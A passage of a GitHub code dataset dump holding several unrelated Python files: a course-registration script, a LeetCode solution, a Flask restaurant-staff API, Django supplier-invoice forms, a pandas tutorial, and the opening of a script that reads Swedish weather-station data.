Scripts/record_splitter.py","file_name":"record_splitter.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32130509394","text":"class student:\n    def __init__(self, student_name):\n        self.student_name = student_name\n    def show_student(self):\n        print(\"Name: \", self.student_name)\n\nclass registered_classes(student):\n    def __init__(self, student_name, classes):\n        self.classes = classes\n        student.__init__(self, student_name)\n\nclass subject:\n    def __init__(self):\n        self.sub_name = ['C++', 'Java', 'Python', 'Writing Skills']\n        self.sub_code = ['csc123', 'csc456', 'csc1122', 'mpu101']\n\n        self.w = {}\n        for i in range(len(self.sub_name)):\n            self.w[self.sub_code[i]] = self.sub_name[i]\n    def display(self):\n        print(\"Course Code: \", self.sub_code)\n        print(\"Course Name: \", self.sub_name)\n\nc = subject()\nc.display()\n\nprint('\\n')\nprint('\\n')\n\nclasses = []\nstudent_name = input(\"Enter Name: \")\nwhile True:\n    sub_code = input(\"Enter code to register: \")\n\n    if sub_code in  c.sub_code:\n        print(\"***\", sub_code, \"is successfully registered!\")\n        classes.append(sub_code)\n        print()\n        print()\n        next = input(\"Add more subjects?: (y/n) \")\n        if next == 'y':\n            continue\n        else:\n            break\n    else:\n        print(\"Wrong Code OR code is selected.\")\n        again = input(\"Enter code again (or 'x' to stop): \")\n        print()\n        print()\n        next = input(\"Add more subjects?: (y/n) \")\n        if next == 'y':\n            continue\n        else:\n            break\n\ns = student(student_name)\ns.show_student()\nprint(\"Subjects registered: \")\nfor i in classes:\n    print(\"**\", i, c.w[i])\n\n","repo_name":"saifullahw/classregistration","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38425442991","text":"'''\n\n给你一个非空数组，返回此数组中 第三大的数 。如果不存在，则返回数组中最大的数。\n\n示例 1：\n    输入：[3, 2, 1]\n    输出：1\n    解释：第三大的数是 1 。\n\n示例 2：\n    输入：[1, 2]\n    输出：2\n    解释：第三大的数不存在, 所以返回最大的数 2 。\n\n示例 3：\n    输入：[2, 2, 3, 1]\n    输出：1\n    解释：注意，要求返回第三大的数，是指在所有不同数字中排第三大的数。\n    此例中存在两个值为 2 的数，它们都排第二。在所有不同数字中排第三大的数为 1 。\n\n'''\nfrom typing import List\n\nclass Solution:\n    def thirdMax(self, nums: List[int]) -> int:\n        nums.sort(reverse = True)\n        diff = 1\n        for i in range(1, len(nums)):\n            if nums[i] != nums[i - 1]:\n                diff += 1\n                if diff == 3:  # 此时 nums[i] 就是第三大的数\n                    return nums[i]\n        return nums[0]\n\nif __name__ == \"__main__\":\n    nums = [3, 5, 8, 91, 76, 2, 6, 2, 52, 7, 2, 1]\n    sol = Solution()\n    result = sol.thirdMax(nums)\n    print (result)","repo_name":"jasonmayday/LeetCode","sub_path":"leetcode_algorithm/1_easy/0414_第三大的数.py","file_name":"0414_第三大的数.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"35426614735","text":"# define the API's primarily used for the restaurant requests\nfrom flask import Flask, request, jsonify\nfrom flask_restful import Resource, Api\nfrom flask_cors import CORS\nfrom sqlalchemy import create_engine\nfrom datetime import datetime\n# local files\nfrom config import comSettings\nfrom admin import User, Employee\n\n# PURPOSE - create a resource for staff members at the restaurant\nclass Staff(Resource):\n\n    def get(self):\n        print(\"All Staff Requested\")\n        reqDict = dict(request.args) \n        \n        if \"resID\" in reqDict:\n            resID = reqDict[\"resID\"]\n            dbConfig = comSettings()\n            databaseConnection = dbConfig[\"dbFilePath\"] + resID + '.db'\n            print(databaseConnection)\n            db = create_engine(databaseConnection)\n            conn = db.connect() \n\n            # Set the basic response query\n            sqlReq = 'SELECT * FROM Staff'\n\n            # remove resID from parameters\n            del reqDict[\"resID\"]\n\n            # If there are no arguments, set a basic request for all records\n            if len(reqDict) == 0 :\n                fullReq = '' + sqlReq + ''\n                query = conn.execute(fullReq)\n            # If there is one or more arguments, filter the request\n            else:\n                count = 1\n                parReq = \"\"\n                values = []\n                # loop through the arguments to build the Where clause\n                for field, value in reqDict.items():\n                    if count == 1 :\n                        parReq = ' WHERE ' + field + ' = ?'\n                    else:\n                        parReq = parReq + ' AND ' + field + ' = ?'\n                    \n                    # add the parameter value for the second part of the request\n                    values.append(value)\n                    count = count + 1\n                # build the full query and send the request    \n                fullReq = '' + sqlReq + parReq + ''\n                query = conn.execute(fullReq, values) # This line performs query and returns json result\n\n\n            result = {'Staff': [dict(zip(tuple (query.keys()) ,i)) for i in query.cursor]}\n            conn.close\n            return jsonify(result)\n        else:\n            return jsonify(False)\n\n    def post(self):\n        print(\"Staff Post Requested\")\n        reqDict = dict(request.args)\n        dbConfig = comSettings() \n        print (\"I am here\")\n        result = {'status': 'incomplete', 'message': 'No action taken','value': 'none'}\n\n        if \"resID\" not in reqDict:\n            result['status'] = \"Error\"\n            result['message'] = \"Database not specified\" \n            return jsonify(result)\n        else:\n            resID = reqDict[\"resID\"]\n            aJSON = request.get_json(force=True)\n            nowDate = datetime.now()\n            userID = \"\"\n\n            # create a login if requested\n            if aJSON[\"Login\"] == True:\n                # connect to the main database\n                databaseConnection = dbConfig[\"dbFilePath\"] + \"main\" + '.db'\n                db = create_engine(databaseConnection)\n                conn = db.connect()\n                # if a email was defined\n                uEmail = aJSON[\"Email\"]\n                uName = aJSON[\"UserName\"]\n                print(uEmail)\n                if uEmail != None and uEmail != \"\" :\n                    # look for a user with that email\n                    query = 'SELECT UserID FROM Users WHERE Email = ?'\n                    qResult = conn.execute(query, uEmail)\n                    conn.close\n                    records = qResult.fetchall()\n                    print(records)\n                    if len(records) == 0 :\n                        print(\"No login found\")\n                        # create an email based login\n                        newUser = User.post(jsonify(aJSON))\n                        userID = newUser.get_json(force=True)\n                        print(userID)\n                        result['message'] = \"An new user was created.\"\n                        # create a link Employee record\n                    else:\n                        record = records[0]\n                        userID = record[0]    \n                        # check if a employee record already exists for that user\n                        query = 'SELECT EmployeeID FROM Employees WHERE UserID = ? AND RestaurantID = ?'\n                        values = (userID, resID)\n                        qResult = conn.execute(query, values)\n                        conn.close\n                        records = qResult.fetchall()\n                        print(records)\n                        if len(records) > 0 :\n                            result['status'] = \"Error\"\n                            result['message'] = \"An employee record with that UserID already exists for this restaurant. Talk to your admin or support if necessary.\"\n                            return jsonify(result)\n                        result['message'] = \"An existing user with that email was connected to the restaurant.\"                            \n                elif uName != None and uName != \"\" :\n                    # look for a user with that UserName\n                    query = 'SELECT UserID FROM UserView WHERE UserName = ? AND RestaurantID = ?'\n                    values = (uName, resID)\n                    qResult = conn.execute(query, values)\n                    conn.close\n                    records = qResult.fetchall()\n                    print(records)\n                    if len(records) == 0 :\n                        print(\"No login found\")\n                        # create an userName based login\n                        newUser = User.post(jsonify(aJSON))\n                        userID = newUser.get_json(force=True)\n                        print(userID)\n                        result['message'] = \"An new user was created.\"\n                        # create a link Employee record\n                    else:\n                        result['status'] = \"Error\"\n                        result['message'] = \"An employee record with that User Name already exists for this restaurant. Talk to your admin or support if necessary.\"\n                        return jsonify(result)\n  \n                    aJSON.update({\"UserID\": userID, \"RestaurantID\": resID})\n                    print (aJSON)\n                    newStaff = Employee.post(jsonify(aJSON))\n                    staffData = newStaff.get_json(force=True)\n                    staffID = staffData[\"StaffID\"]\n                    print(staffID) \n            else:\n                #create a new staff member without a login\n                db_connect = create_engine(dbConfig[\"dbFilePath\"] + resID + '.db')\n                conn = db_connect.connect()\n                postQuery = '''INSERT INTO Staff (\n                        FullName,\n                        PrefName,\n                        Status, \n                        Active,\n                        CreateDate,\n                        CreateUser,\n                        ModDate,\n                        ModUser \n                    ) VALUES (?,?,?,?,?,?,?,?)'''\n                postValues = (\n                    aJSON[\"FullName\"], \n                    aJSON[\"PrefName\"], \n                    \"New\", \n                    True, \n                    nowDate,\n                    aJSON['ModUser'], \n                    nowDate, \n                    aJSON['ModUser']) \n            \n            postResult = conn.execute(postQuery, postValues)\n            conn.close\n            staffID = postResult.lastrowid\n            result['message'] = \"A new staff member was created\"\n\n        result['status'] = \"Success\"\n        result['value'] = staffID\n        return jsonify(result)\n\n    def patch(self):\n        print(\"Staff Patch Requested\")\n        reqDict = dict(request.args)\n        dbConfig = comSettings() \n    \n        if \"resID\" not in reqDict:\n            return jsonify(\"Database not specified\")\n        else:\n            resID = reqDict[\"resID\"]\n            databaseConnection = dbConfig[\"dbFilePath\"] + resID + '.db'\n            db = create_engine(databaseConnection)\n            conn = db.connect() \n            aJSON = request.get_json(force=True)\n\n            nowDate = datetime.now()\n\n            # send the update for the staff\n            patchQuery = '''UPDATE Staff\n                SET FullName = ?,\n                    PrefName = ?, \n                    Status = ?,\n                    Active = ?,\n                    ModDate = ?,\n                    ModUser = ?\n                WHERE StaffID = ?'''\n            patchValues = (aJSON[\"FullName\"], \n                aJSON[\"PrefName\"], \n                aJSON[\"Status\"], \n                aJSON[\"Active\"], \n                nowDate,\n                aJSON[\"ModUser\"], \n                aJSON[\"StaffID\"]) \n            conn.execute(patchQuery, patchValues)\n            conn.close\n            #empID = postResult.lastrowid\n            #print(empID)\n            return jsonify(\"Success\")\n\n\n\nclass ActiveStaff(Resource):\n\n    def get(self):\n        print(\"Active Staff Requested\")\n        reqDict = request.args \n        \n        if \"resID\" in request.args:\n            resID = request.args[\"resID\"]\n            dbConfig = comSettings()\n            databaseConnection = dbConfig[\"dbFilePath\"] + resID + '.db'\n            db = create_engine(databaseConnection)\n            conn = db.connect() \n            query = conn.execute(\"SELECT StaffID, FullName FROM Staff WHERE Active = ?\",\"True\")\n            result = {'Staff': [dict(zip(tuple (query.keys()) ,i)) for i in query.cursor]}\n            conn.close\n            return jsonify(result)\n        else:\n            return jsonify(\"invalid request - no resid found\")\n    \n        #conn = db_connect.connect() # connect to database","repo_name":"ckelso44/sweet-pickle","sub_path":"API/staff.py","file_name":"staff.py","file_ext":"py","file_size_in_byte":9779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28601162180","text":"# -*- coding: utf-8 -*-\nimport datetime\nfrom itertools import product\nfrom math import prod\n\nimport sys\n\nfrom django import forms\n\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Submit, Row, Column, Reset, HTML\nfrom crispy_forms.bootstrap import FieldWithButtons, StrictButton, AccordionGroup, TabHolder, Tab, Field\nfrom django.utils.translation import ugettext_lazy as _\nfrom crispy_bootstrap5.bootstrap5 import BS5Accordion\n\nfrom django.utils import timezone\nfrom users.models import User\nfrom .models import (Product, Warehouse, SupplierInvoice, SupplierInvoiceItem, SupplierReceipt,\nPaymentTerm, PaymentMethod)\n\nfrom bank.models import BankAccount\n\nfrom isis.models import Tax, Costumer\n\n\nfrom asset_app.fields import ListTextWidget\n\n\nclass SupplierInvoiceItemForm(forms.ModelForm):\n    SERVICE = 'SERVICE'\n    PRODUCT = 'PRODUCT'\n    \n    PRODUCT_CHOICES = ((SERVICE, _('Service')), (PRODUCT, _('Product')))\n    type = forms.ChoiceField(choices=PRODUCT_CHOICES, initial=PRODUCT, required=False)\n\n    barcode = forms.CharField(label=_(\"Product code / Barcode\"), max_length=100, required=False, \n    widget=forms.TextInput(attrs={'autofocus': 'autofocus'}))\n\n    tax = forms.ModelChoiceField(queryset=Tax.objects.filter(active_status=1), initial=1, required=False)\n    price = forms.DecimalField(max_digits=18, decimal_places=6, initial=0, \n    widget=forms.NumberInput(attrs={'autocomplete': \"off\"}))\n    quantity = forms.DecimalField(max_digits=18, decimal_places=6, initial=0, widget=forms.TextInput)\n    discount = forms.DecimalField(max_digits=4, decimal_places=2, initial=0, widget=forms.TextInput)\n    invoice = forms.CharField(required=False, widget=forms.NumberInput)\n    product = forms.ModelChoiceField(required=False, \n    queryset=Product.objects.filter(active_status=1),\n    widget=forms.Select(attrs={'class': 'product-select'}))\n\n    def __init__(self, *args, **kwargs):\n        super(SupplierInvoiceItemForm, self).__init__(*args, **kwargs)\n        \n        self.fields['price'].widget = ListTextWidget(data_list=[], name='price_list')\n\n        self.helper = FormHelper()\n        self.helper.form_id = \"invoice-items-form-id\"\n        self.helper.form_class = \"form-inline\"\n        self.helper.layout = Layout(\n        BS5Accordion(\n            AccordionGroup(_('INVOICE ITEMS'),\n            Row('barcode'),\n            Row(\n                Column('product', css_class='form-group col-md-4 mb-0'),\n                Column('type', css_class='form-group col-md-2 mb-0'),\n                Column('price', css_class='form-group col-md-2 mb-0'),\n                Column('quantity', css_class='form-group col-md-1 mb-0'),\n                Column('discount', css_class='form-group col-md-1 mb-0'),\n                Column('tax', css_class='form-group col-md-2 mb-0'),\n                css_class='form-row'),\n            \n                Submit('add_item', _('Add Item'), css_class='btn btn-primary fa fa-plus'),\n        ),))\n    \n    def clean(self):\n        cleaned_data = super().clean()\n        print(cleaned_data)\n\n        price = cleaned_data.get('price')\n        discount = cleaned_data.get('discount')\n        product = cleaned_data.get('product')\n        \n        try:\n            pr = Product.objects.get(name=product)\n            min_price = pr.min_sell_price\n\n            if price < min_price:\n                self.errors['price'] = self.error_class(_(\"\"\"\n                Price is lower than the product Minimum selling price {}.\"\"\".format(min_price)))\n\n        except Product.DoesNotExist:\n            min_price = 0\n\n        if discount is None:\n            self.errors['discount'] = self.error_class(_(\"\"\"\n            discount must be between 0 and 99.99.\"\"\"))\n        elif discount > 100 or discount < 0:\n            self.errors['discount'] = self.error_class(_(\"\"\"\n            discount must be between 0 and 100.\"\"\"))\n\n    def clean_invoice(self):\n        return None\n\n    class Meta:\n        model = SupplierInvoiceItem\n        fields = \"__all__\"\n\n\nclass SupplierInvoiceForm(forms.ModelForm):\n    name = forms.CharField(required=False, max_length=50)\n    paid_status = forms.IntegerField(required=False, initial=0)\n    delivered_status = forms.IntegerField(initial=0, required=False)\n    finished_status = forms.IntegerField(initial=0, required=False)\n    active_status = forms.IntegerField(initial=1, required=False)\n    number = forms.IntegerField(initial=0, required=False)\n    \n    supplier = forms.ModelChoiceField(\n        queryset=Costumer.objects.filter(is_supplier=1, active_status=1),\n        label = _(\"Please choose Supplier\"), initial=1)\n\n    def __init__(self, *args, **kwargs):\n        super(SupplierInvoiceForm, self).__init__(*args, **kwargs)\n\n        self.helper = FormHelper()\n        self.helper.form_id = \"invoice-form-id\"\n        self.helper.form_class = \"invoice-form-class\"\n        self.helper.layout = Layout(\n        HTML(\"\"\"\n            <p><strong style=\"font-size: 18px;\">{}</strong></p>\n            <hr>\n        \"\"\".format(_('Add/Update SupplierInvoice'),)),\n        BS5Accordion(\n            AccordionGroup(_('INVOICE DATA'),\n                FieldWithButtons('supplier', StrictButton('',  css_class=\"btn fa fa-plus\", \n                data_bs_toggle=\"modal\", data_bs_target=\"#supplier\"), css_class='form-group col-md-12 mb-0'),\n                Column('invoice', css_class='form-group col-md-3 mb-0'),\n                Row(\n                    Column('date', css_class='form-group col-md-3 mb-0'),\n                    Column('due_date', css_class='form-group col-md-3 mb-0'),\n                    FieldWithButtons('warehouse', StrictButton('',  css_class=\"btn fa fa-plus\", \n                    data_bs_toggle=\"modal\", data_bs_target=\"#warehouse\"), css_class='form-group col-md-6 mb-0'),\n                ),\n                Row(\n                FieldWithButtons('payment_term', StrictButton('',  css_class=\"btn fa fa-plus\", \n                data_bs_toggle=\"modal\", data_bs_target=\"#payment_term\"), css_class='form-group col-md-3 mb-0'),\n                FieldWithButtons('payment_method', StrictButton('',  css_class=\"btn fa fa-plus\", \n                data_bs_toggle=\"modal\", data_bs_target=\"#payment_method\"), css_class='form-group col-md-3 mb-0'),\n                FieldWithButtons('bank_account', StrictButton('',  css_class=\"btn fa fa-plus\", \n                data_bs_toggle=\"modal\", data_bs_target=\"#bank_account\"), css_class='form-group col-md-3 mb-0'),\n                ),\n                Column(Field('notes', rows='2'), css_class='form-group col-md-12 mb-0'),\n                Column(Field('public_notes', rows='2'), css_class='form-group col-md-12 mb-0'),),\n                HTML('<br>'),\n                Submit('save_invoice', _('Next'), css_class='btn btn-primary fas fa-save'),\n                Reset('reset', 'Clear', css_class='btn btn-danger'),\n                flush=True,\n                always_open=True),\n        )\n\n    class Meta:\n        model = SupplierInvoice\n        exclude = ('date_created', 'date_modified', 'slug', 'created_by', 'modified_by')\n\n\nclass SupplierForm(forms.ModelForm):\n    YES = 1\n    NO = 0\n\n    COSTUMER_CHOICES = ((NO, _(\"No\")), (YES, _(\"Yes\")))\n\n    name = forms.CharField(label=_('Supplier Name'), \n    widget=forms.TextInput, max_length=100)\n    parent = forms.ModelChoiceField(label=_('Parent Supplier'), \n    queryset=Costumer.objects.filter(is_supplier=1), \n    required=False, initial=0)\n    is_costumer = forms.ChoiceField(label=_(\"Is Costumer?\"), widget=forms.RadioSelect, \n    choices=COSTUMER_CHOICES, initial=NO)\n    email = forms.CharField(max_length = 254, widget=forms.EmailInput, required=False)\n    website = forms.URLField(max_length = 254, widget=forms.URLInput, required=False)\n    current_credit = forms.DecimalField(max_digits=18, decimal_places=6, required=False, initial=0)\n    is_supplier = forms.IntegerField(initial=1, required=False, widget=forms.HiddenInput)\n\n    def __init__(self, *args, **kwargs):\n        super(SupplierForm, self).__init__(*args, **kwargs)\n\n        self.helper = FormHelper(self)\n        self.helper.form_id = \"supplier-form-id\"\n        self.helper.form_class = \"supplier-form-class\"\n        self.helper.layout = Layout(\n                HTML(\"\"\"\n            <p><strong style=\"font-size: 18px;\">{}</strong></p>\n            <hr>\n        \"\"\".format(_('Add/Update Supplier'),)),\n            BS5Accordion(\n            AccordionGroup(_('Supplier Data'),\n            Row(\n                Column('name', css_class='form-group col-md-8 mb-0'),\n                Column('vat', css_class='form-group col-md-4 mb-0'),\n                ),\n            Row(\n                Column('phone', css_class='form-group col-md-4 mb-0'),\n                Column('fax', css_class='form-group col-md-4 mb-0'),\n                Column('mobile', css_class='form-group col-md-4 mb-0'),\n                \n            ),\n            Row(\n                Column('country', css_class='form-group col-md-3 mb-0'),\n                Column('province', css_class='form-group col-md-3 mb-0'),\n                Column('city', css_class='form-group col-md-3 mb-0'),\n                Column('zip', css_class='form-group col-md-3 mb-0'),\n                ),\n            Row(\n                Column('warehouse', css_class='form-group col-md-3 mb-0'),\n                Column('type', css_class='form-group col-md-3 mb-0'),\n                Column('capital', css_class='form-group col-md-3 mb-0'),\n                Column('active_status', css_class='form-group col-md-3 mb-0'),\n                ),\n            Row(\n                Column('max_credit', css_class='form-group col-md-3 mb-0'),\n                Column('parent', css_class='form-group col-md-3 mb-0'),\n                Column('is_costumer', css_class='form-group col-md-6 mb-0'),\n                \n            ),\n            Row(Column('address', css_class='form-group col-md-12 mb-0'),),\n            Row(Column('contacts', css_class='form-group col-md-12 mb-0'),),\n            Row(Column('manager', css_class='form-group col-md-12 mb-0'),),\n            Row(\n                Column('email', css_class='form-group col-md-6 mb-0'),\n                Column('website', css_class='form-group col-md-6 mb-0'),\n                ),\n            # Row(Column(Field('notes', rows='2'), css_class='form-group col-md-12 mb-0'),),\n            Submit('save_supplier', _('Save & Close'), css_class='btn btn-primary fas fa-save'),\n            Submit('save_supplier_new', _('Save & New'), css_class='btn btn-primary fas fa-save'),\n            Reset('reset', 'Clear', css_class='btn btn-danger'),\n            ),\n            flush=True,\n            always_open=True),\n        )\n    \n    class Meta:\n        model = Costumer\n        exclude = ('date_created', 'date_modified', 'slug', 'created_by', 'modified_by')\n\n    def clean_parent(self):\n        pass\n\n\nclass SupplierReceiptForm(forms.ModelForm):\n    supplier = forms.ModelChoiceField(\n        queryset=Costumer.objects.filter(active_status=1, is_supplier=1),\n        label = _(\"Please choose Supplier\"), initial=1)\n\n    bank_account = forms.ModelChoiceField(queryset=BankAccount.objects.filter(acc_status=1), required=False)\n\n    name = forms.CharField(max_length=100, required=False)\n    number = forms.IntegerField(required=False)\n\n    def __init__(self, *args, **kwargs):\n        super(SupplierReceiptForm, self).__init__(*args, **kwargs)\n\n        self.helper = FormHelper()\n        self.helper.form_id = \"supplier_receipt-form-id\"\n        self.helper.form_class = \"supplier_receipt-form-class\"\n        self.helper.layout = Layout(\n        HTML(\"\"\"\n            <p><strong style=\"font-size: 18px;\">{}</strong></p>\n            <hr>\n        \"\"\".format(_('Add/Update SupplierReceipt'),)),\n        BS5Accordion(\n            AccordionGroup(_('RECEIPT DATA'),\n                Row(\n                    Column('supplier', css_class='form-group col-md-8 mb-0'),\n                    Column('bank_account', css_class='form-group col-md-4 mb-0'),\n                    css_class='form-row'\n                ),),\n                HTML('<br>'),\n                Submit('save_supplier_receipt', _('Next'), css_class='btn btn-primary fas fa-save'),\n                Reset('reset', 'Clear', css_class='btn btn-danger'),\n                flush=True,\n                always_open=True),\n        )\n\n    class Meta:\n        model = SupplierReceipt\n        exclude = ('date_created', 'date_modified', 'slug', 'created_by', 'modified_by')\n\n\n    def clean(self):\n        cleaned_data = super().clean()\n\n        supplier = cleaned_data.get('supplier')\n        \n        if supplier is None or supplier == \"\":\n            self.errors['supplier'] = self.error_class(_(\"\"\"\n            Please choose Supplier or create Invoices First.\"\"\"))\n\n\n","repo_name":"orlandofv/Binga","sub_path":"supplier/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":12709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34734112011","text":"# -*- encoding: utf-8 -*-\r\n\r\nimport os\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n    # 创建dataFrame\r\n    li1 = ['a', 'b', 'c', 'd']\r\n    li2 = [5, 6, 7, 8]\r\n    li3 = [li1, li2]\r\n\r\n    print(\"two dimension: \", li3)\r\n\r\n    # 由python的数据类型来创建dataFrame\r\n    # #dict  -> pandas.core.frame.DataFrame dict的key作为列名，value作为列的值\r\n    df1 = pd.DataFrame({\"col1\": li1, \"col2\": li2}, index=[1, 2, 3, 4])\r\n    print(df1, type(df1))\r\n\r\n    # #list -> DataFrame  list[list1,list2,...] 二维数组, 每行是list1，list2...\r\n    df1_1 = pd.DataFrame(li3, columns=['col1', 'clo2', 'clo3', 'clo4'])\r\n    print(\"df1_1: \", df1_1)\r\n\r\n    # #numpy类型创建dataFrame： numpy.ndarray -> dataFrame\r\n    np1 = np.arange(1, 13)\r\n    print(np1, type(np1))\r\n    np2 = np1.reshape((3, 4))  # ndarray\r\n    print(np2, type(np2))\r\n    df2 = pd.DataFrame(np2, index=[2, 3, 4], columns=[\r\n        \"col1\", 'col2', 'col3', 'col4'])  # 行索引值是2,3,4\r\n\r\n    print(\"df2 \", df2)\r\n\r\n    '''\r\n    reset_index : 重置索引\r\n    参考：https://zhuanlan.zhihu.com/p/110819220\r\n    \r\n    DataFrame.reset_index(level=None, drop=False, inplace=False, col_level=0, col_fill='')\r\n    level：数值类型可以为：int、str、tuple或list，默认无，仅从索引中删除给定级别。默认情况下移除所有级别。控制了具体要还原的那个等级的索引 。\r\n    drop：当指定drop=False时，则索引列会被还原为普通列；否则，经设置后的新索引值被会丢弃。默认为False。\r\n    inplace：输入布尔值，表示当前操作是否对原数据生效，默认为False。\r\n    col_level：数值类型为int或str，默认值为0，如果列有多个级别，则确定将标签插入到哪个级别。默认情况下，它将插入到第一级。\r\n    col_fill：对象，默认‘’，如果列有多个级别，则确定其他级别的命名方式。如果没有，则重复索引名。\r\n    '''\r\n    df2_new1 = df2.reset_index()  # 会多出一列index\r\n    print(\"df2_new1: \", df2_new1)\r\n    df2_new2 = df2.reset_index(drop=True)  # 重置索引列，同时index一列被丢掉\r\n    print(\"df2_new2: \", df2_new2)\r\n\r\n    '''\r\n    pivot_table: \r\n    透视表pivot_table()是一种进行分组统计的函数，参数aggfunc决定统计类型。\r\n    pivot_table(data, values=None, index=None, columns=None,aggfunc='mean', fill_value=None, margins=False, dropna=True, margins_name='All')\r\n    pivot_table有四个最重要的参数index、values、columns、aggfunc\r\n    \r\n     \r\n    '''\r\n    print('*' * 40)\r\n    df2_new1.loc[1, 'col1'] = 1\r\n    print(df2_new1)\r\n\r\n    '''\r\n    df2_new1:\r\n    \r\n           index  col1  col2  col3  col4\r\n    0      2     1     2     3     4\r\n    1      3     1     6     7     8\r\n    2      4     9    10    11    12\r\n    '''\r\n    # col1列作为索引，进行默认统计,mean;col1的第1，2行的值都为1，要进行聚合统计\r\n    df3 = pd.pivot_table(df2_new1, index=['col1'])\r\n    print(df3)\r\n\r\n    # col1列作为索引，进行默认统计,mean;col1的第1，2行的值都为1，要进行聚合统计;只取col2，col3 列进行计算\r\n    df3_2 = pd.pivot_table(df2_new1, index=[\r\n                           'col1'], values=['col2', 'col3'])\r\n    print(df3_2)\r\n\r\n    # col1列作为索引进行统计;col1的第1，2行的值都为1，计算sum，mean统计；只取col2，col3 列进行计算\r\n    df3_3 = pd.pivot_table(df2_new1, index=[\r\n                           'col1'], values=['col2', 'col3'], aggfunc=[np.sum, np.mean])\r\n    print(df3_3)\r\n","repo_name":"ww5365/python","sub_path":"studying/src/25_pandas.py","file_name":"25_pandas.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36308426436","text":"#!/usr/bin/env python\n\nimport json\nimport os.path\nimport pprint\nimport pickle\nimport datetime\nimport logging\n\nimport tabulate\nimport simplekml\nimport requests\nimport matplotlib.dates\nimport matplotlib.pyplot as pyplot\n# import sqlalchemy\n\nSTATION_FILE_PATH = 'swedishweather/stations.txt'\n\nBOX_NORTH = 68.604977\nBOX_WEST = 17.468811\n\nBOX_SOUTH = 67.140676\nBOX_EAST = 20.470848\n\nlog = logging.getLogger('swedish-weather')\n\n\ndef convert_from_unixtimestamp(timestamp_ms):\n    timestamp_s = timestamp_ms / 1000.0\n\n    if timestamp_s < 0:\n        date_ref = datetime.datetime.fromtimestamp(0)\n        date_target = datetime.datetime.fromtimestamp(-timestamp_s)\n        date_delta = date_target - date_ref\n\n        # print(f\"date_ref: {date_ref}\")\n        # print(f\"date_delta: {date_delta}\")\n\n        date = date_ref - date_delta\n    else:\n        date = datetime.datetime.fromtimestamp(timestamp_ms / 1000.0)\n    # end if\n\n    return date\n# end convert_from_unixtimestamp()\n\n\nclass SwedishStation:\n    @classmethod\n    def from_dict(cls, station_dict):\n        obj = cls()\n\n        obj.__dict__.update(**station_dict)\n\n        obj.from_date = convert_from_unixtimestamp(station_dict['from'])\n        obj.to_date = convert_from_unixtimestamp(station_dict['to'])\n\n        return obj\n    # end from_dict()\n\n    def __getattr__(self, item):\n        if item in self.__dict__:\n            return self.__dict__[item]\n        else:\n            raise AttributeError(item)\n        # end if\n    # end __getattr__()\n\n    def __repr__(self):\n        return f\"Station {self.id} {self.name} {self.latitude} N {self.longitude}\"\n# end class SwedishStation\n\n\nclass SwedishWeather(object):\n    PICKLE_PATH = 'weather_stations.pickle'\n    BASE_URL = '/api/version/1.0/parameter/1/station/159880.json'\n\n    PARAMETERS = {\n        \"Min Air Temperature\": (\"Lufttemperatur\", \"min, 1 gång per dygn\"),\n        \"Max Air Temperature\": (\"Lufttemperatur\", \"max, 1 gång per dygn\"),\n    }\n\n    def __init__(self):\n        self.station_info_dict = {}\n        self.station_dict = {}\n        self.category_info_dict = {}\n        self.categories = {}\n    # end __init__()\n\n    @property\n    def stations_url(self):\n        return 'https://opendata-download-metobs.smhi.se/api/version/1.0/parameter/1.json'\n    # end stations_url()\n\n    @property\n    def category_url(self):\n        return \"https://opendata-download-metobs.smhi.se/api/version/latest.json\"\n    # end category_url()\n\n    def get_stations_info(self):\n        request = requests.get(self.stations_url)\n        self.station_info_dict = json.loads(request.content)\n    # end get_stations_info()\n\n    def get_category_info(self, show=False):\n        request = requests.get(self.category_url)\n        self.category_info_dict = json.loads(request.content)\n\n        if show:\n            pprint.pprint(self.category_info_dict)\n            print(list(self.category_info_dict.keys()))\n        # end if\n\n        output = []\n\n        for ressource_dict in self.category_info_dict.get('resource'):\n            # print(ressource_dict.get('title'), ressource_dict.get('summary'), ressource_dict.get('link'))\n\n            title = ressource_dict.get('title')\n            summary = ressource_dict.get('summary')\n            key = ressource_dict.get('key')\n\n            output.append((\n                title,\n                summary,\n                key,\n            ))\n\n            if title == 'Lufttemperatur' and '1 gång per dygn' in summary:\n                self.categories[f\"{title} {summary}\"] = key\n            # end if\n        # end for\n\n        if show:\n            print()\n            print(tabulate.tabulate(output))\n\n            print()\n            pprint.pprint(self.categories)\n        # end if\n    # end get_category_info()\n\n    def save(self):\n        with open(self.PICKLE_PATH, 'wb') as f:\n            pickle.dump(self, f)\n        # end with\n    # end save()\n\n    @classmethod\n    def from_pickle(cls) -> \"SwedishWeather\":\n        if os.path.exists(cls.PICKLE_PATH):\n            with open(cls.PICKLE_PATH, 'rb') as f:\n                log.critical(f\"From pickle\")\n                sw = pickle.load(f)\n            # end with\n        else:\n            sw = cls()\n            sw.get_stations_info()\n            sw.load_stations()\n            sw.get_category_info()\n        # end if\n\n        return sw\n    # end from_pickle()\n\n    def load_stations(self):\n        self.station_dict = {}\n\n        for station_dict in self.station_info_dict['station']:\n            station = SwedishStation.from_dict(station_dict)\n\n            self.station_dict[station.id] = station\n        # end for\n    # end load_stations()\n\n    def get_scoped_stations(self):\n        for station in self.station_dict.values():\n            if (BOX_WEST <= station.longitude <= BOX_EAST) and (BOX_SOUTH <= station.latitude <= BOX_NORTH):\n                yield station\n            # end if\n        # end for\n    # end get_scoped_stations()\n\n    def export_stations(self):\n        kml = simplekml.Kml()\n\n        for station in self.station_dict.values():\n            if (BOX_WEST <= station.longitude <= BOX_EAST) and (BOX_SOUTH <= station.latitude <= BOX_NORTH):\n\n                station_point = 